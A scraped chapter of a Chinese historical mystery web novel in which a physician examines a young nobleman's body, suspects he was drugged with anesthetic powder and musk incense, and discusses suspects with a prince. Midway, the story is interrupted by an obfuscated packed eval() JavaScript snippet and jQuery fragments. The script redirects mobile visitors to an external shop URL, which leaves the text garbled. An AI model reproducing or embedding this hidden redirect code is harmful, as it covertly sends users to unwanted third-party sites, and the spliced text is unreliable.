文趣网 > 其他小说 > 绾茧成丝 > 33. 验身探秘
    已是二月初,小雨淅淅沥沥下在宁州城。

    颜府,尹管事张罗着颜祁的后事,按苏州那边的意思,是要快马加鞭将灵体运回苏州城安葬。

    屋檐下,雨如水汽般洒在尹管事脸上,他抬头看看天色,一片白,只有远处偶有几片稀散的阴云飘过。

    “尹管事,门外有一人自称仵作求见颜公子灵体。”一小厮急匆匆跑过来禀报。

    尹管事质问他,“再迟可就耽误颜公子回程了,岂是一个仵作能担待得起的?”

    “尹管事,……那人说”小厮正要再说,身后远远传来一道声音,“我乃奉了府衙大人的命令前来验身,还请尹管事多有通融?”沈医郎换了一身行当,斜肩挎了一个布包,身旁带着个小厮,到尹管事面前站定,依旧带着温婉的笑,大大方方行了一礼。

    尹管事眼里多了几分审视,话语里却没有半分让步,“此案怕是没有验身的必要了,颜公子遭歹人刺伤时,人证物证俱在,就连世子殿下也是一并见证了的,如今我等正要送颜公子身回故土,还望医士不要耽误了时辰。”

    沈医郎点点头,伸手从包里摸索出一块玉牌,递上尹管事眼前,仍是无害的笑意挂在眼角,“还请尹管事允了我,府上大人有令,凡是凶杀案一律要为死者验身,并记录在案,管事若是此时为难了我,只怕颜公子回程的时日又要等上几日了。”

    尹管事端详那块玉牌,再次看向沈医郎时,眼里多了几分疑虑,良久,风吹动细雨,往脸上去时多了些力道,尹管事后退一步侧身,抬手做了“请”的手势,不忘嘱咐道,“还请医士动作快些。”

    沈医郎仔细查看了颜祁周身,尹管事在门口候着,不时催促。屋外细雨纷飞,屋内是冰棺,跟在沈医郎身旁做笔录的小厮不禁倒吸几口凉气,捂紧了自己的衣服。

    “我已验身完毕,多谢尹管事,还望颜公子此程一路平安,早归故土。”说完,沈医郎带着人离开了颜府,尹管事眼底闪过一丝不明的情绪,看向二人离开的背影,“来人,准备启程!”

    沈医郎出了颜府门后径直往镇国公府去。

    在偏厅的伍仁守在木清玄身旁,见到沈医郎,上前两步迎接,“如何了?沈大人,怎的这么快就来了,万一对方派人跟踪……?”

    沈医郎掏出那一枚玉牌,伍仁小声惊呼,“国公爷?”,他看向沈医郎,“难怪沈大人说不必去托别的关系,原来是有底牌在身。”

    木清玄只扫过那枚玉牌一眼,没有说话。

    沈医郎把笔录小厮打发走,把笔录递交到木清玄手中,“世子殿下,请过目。”

    木清玄一览而过,“这些症状,除了腕骨关节处的勒痕,别的,沈医郎可有什么想法?”

    “世子殿下可还记得事发当日白天,我曾为颜公子诊过脉?”

    “自然记得。”

    “当时初次的脉象来看,颜公子心脉跳动极缓,眼瞳也有些许扩散,周身皮肤都有微微潮红,今日去看时,许是已无声息的缘故,这些症状减轻许多,沈某猜测,颜公子生前或许有长期少量服用麻沸散的习惯。”

    “麻沸散?”

    “麻沸散乃神医华佗制得,如今也常用于伤病治疗中,但此物具有麻痹心神的作用,就算是用于治疗,用量也极为讲究,若是真像我所想的那般,长期服用此物,病人的精神会极其不稳定,长期处于浑噩之中,甚至少有清醒的时刻。”

    沈医郎沉默片刻,突然站起身,走到距离木清玄只有几步的地方,神情严肃,“沈某有一事不明,还请世子殿下赐教。”

    木清玄并未在意他的动作,随手把笔录放在桌上,“沈大人请讲。”

    “敢问夏姑娘去颜府一事,”沈医郎顿了顿,“是否也有世子殿下的授意?”

    木清玄这才正视眼前的沈医郎,疑惑道,“沈大人这话是什么意思?”

    一旁的伍仁见形势不对,赶忙上前说道,“沈大人莫不是疑心是我家殿下指使的夏姑娘动手杀害颜公子?”

    沈医郎探究着二人话里的真假,“沈某初来府上那几日,殿下曾递来一张妙香散的方子,殿下可还记得?”

    “是有此事不错,”木清玄简单回忆后点头,似乎想到什么后,他问,“你的意思是说,颜公子的死和这个妙香散有关?”

    见木清玄并无半分心虚,沈医郎决定将内心忧虑之事和盘托出,“那日在殿下这里离开之后,遇到夏姑娘拿着同样的方子来问我,我问她方子从何而来,她却避而不答,前日在颜公子房间里,我触及那香炉,虽然里面的香粉已经被人处理了干净,可炉子本体却残留着浓重的麝香味,这不是少量香粉短期能做到的”

    “若颜公子平日里就有服用麻沸散,再有这过度用量的妙香散熏香加持,只怕颜公子自从来宁州城府上的这些天里,清醒的时日不多。”沈医郎讲到这里,终究是医者仁爱,于心不忍,没再讲下去。

    木清玄了然,先是在他这里才见了那药方,后一步就在阿晚那里又被问及,世间确难有此等巧事,之前阿晚来府上谈事也被撞见,许是沈医郎对二人的关系有些自己的猜测。

    木清玄起身上前,沿着沈医郎的袖边扶起他的手,“即使如此,或许我也大概有了怀疑的方向。”接着,他先同沈医郎讲了自己和夏疏晚前些日子的约定与中间的通信,当然,是必要的地方。

    “但阿晚那次与我传的信中,说她是按照你的要求买的方子,再后来是尹管事特意要求她加量买麝香。”木清玄迟疑了片刻,“不过确实没说原因。”

    “尹管事?”沈医郎有些不可置信,“殿下可有查过那尹管事是何许人?”

    木清玄对身后轻唤,“伍仁。”

    “在,回两位大人的话,此人名叫尹如霜,五年前被卖进芳庭院做妓郎,只说卖艺不卖身,琴艺确实了得,引得许多公子争相砸钱买得一见,但此人性格孤傲,后来被上京赶考的颜祁买下,之后一直被安置在宁州城外的一个庄子里,再之前的事,就不太明朗了。”

    “竟有如此巧合的事?性格孤傲,众人舍钱,却唯独被赶考的颜公子买下了?”沈医郎不禁咂舌。

    木清玄思衬再三,问起沈医郎,“可有听闻上月里那落发失踪又复归的诡闻?”

    “殿下是认为……?”沈医郎将两件事放在一起思考其中的联系,“或许……这两件事背后是同一个人,那日颜公子头发也是参差散乱……依沈某看,若是凶手用对待颜公子同样的方法,也确实可以做到诡闻里的事。”

    “可此人,为何又栽赃给夏姑娘?”沈医郎依然想不明白。

    木清玄走到檐下,风止雨停,头顶上方不时落下一两滴雨叶垂下的水,

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17969856|214631||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    “还有一事,如今我想,或许沈医郎能有解法。”

    “殿下但说无妨。”

    木清玄转身,眸子里染上一抹阴天浅淡的亮色,“我在南蛮时,曾听得一方秘术……如今已派人去查清其中虚实,只是远水救不了近火,沈大人的医术非一般人能企及,对南蛮的了解……甚至或许在我之上,不知是否能从这只言片语里,探究明白这秘术的秘密?”

    沈医郎并未立即回话,他看向木清玄,两人一里一外对立而站,另一边的伍仁在想自己是不是应该站到殿下身边去。

    “听闻沈大人在向我父亲寻求一味南蛮特有的药材,那枚玉牌,也是因此而来吧。据我了解,南蛮进贡的药大多毒而猛,药效烈发作快,就连太医院的那群人到了万非得已的情形也才只是用一捻,沈大人可是开口就要了一两,不知是想做何用?”

    沈医郎轻笑,“这是沈某自己的事,恐难向殿下说明。但沈某可以保证,我求药只用在自己,不敢有半分心思敢用去害人,且夏姑娘于沈某而言,是极其重要之人,在此事上,殿下尽可放心。”

    沈医郎的话说的极有诚意,可在木清玄耳朵里听来有些刺挠。伍仁溜出门外在木清玄身边站定,给氛围打着哈哈,“那就有劳沈大人研究秘术一事了,伍叁这小子去了那么久也还没消息,不知等他回来是几时了。”

    沈医郎颔首,带上自己的行当,走过木清玄身边时,脚步一顿,“殿下可知,颜公子这事,苏州颜府怎么说?”

    “待颜公子的葬礼结束后,承宣使要启程来宁州城亲问此事。阿晚那边我已派人去打点,可保这几日暂时无事。”

    沈医郎听完长呼一口气,怅然道,“只是苦了夏姑娘了。”

    话音刚落,木怀雍带着一行人远远走过来,“沈先生怎的这时还在府中?可是我儿的病又加重了?”

    沈医郎寻了借口,称今日半途发现忘带东西耽搁了时间,这才正要离开。

    木怀雍也并未留他,沈医郎转身而去后,木怀雍吩咐身后的人在外等候,拍了拍木清玄的肩膀示意他进屋,“春日寒凉,既是湿寒入体,就少在外面吹风。”

    木清玄并未坐,神色冷峻,“不知父亲今日来是有何事?”

    木怀雍接过伍仁递过来的茶,掀起茶盖吹了下热气,缓缓道,“玄儿,如今你年岁已满二十,为父知道你在府上没有待多长日子,或许如今你也待的不自在,也为了你后面的婚事筹办,我在城南给你指了座宅子,不日你便搬过去吧。”

    “若是不满意那宅子的地处,我也还有几处宅邸可供你挑选,你叔父听说此事,派了一批宫里做过的丫鬟,都在门外侯着呢,若是不挑,就一并送到你府上去。”

    木清玄对此没有任何意见,能离开这里,在这几日里甚至能算得上是一个好消息。

    “谢过父亲。”

    “颜小公子的事我也听说了,若不是承宣使要来亲自过问,这般心狠手辣的女子断然不可再留,传闻你与那女子之间也有些不实的传闻,还望我儿分得清轻重,天下间什么样的女子寻求不到,等你搬去新宅以后,我便让你叔父给你介绍些贵女,你也该考虑考虑自己的事了。”

    木清玄心头的弦绷紧,父亲的话里,是他也会派人去盯着牢里的事了,阿晚……袖间的手不自觉攥紧了,“知道了,父亲。”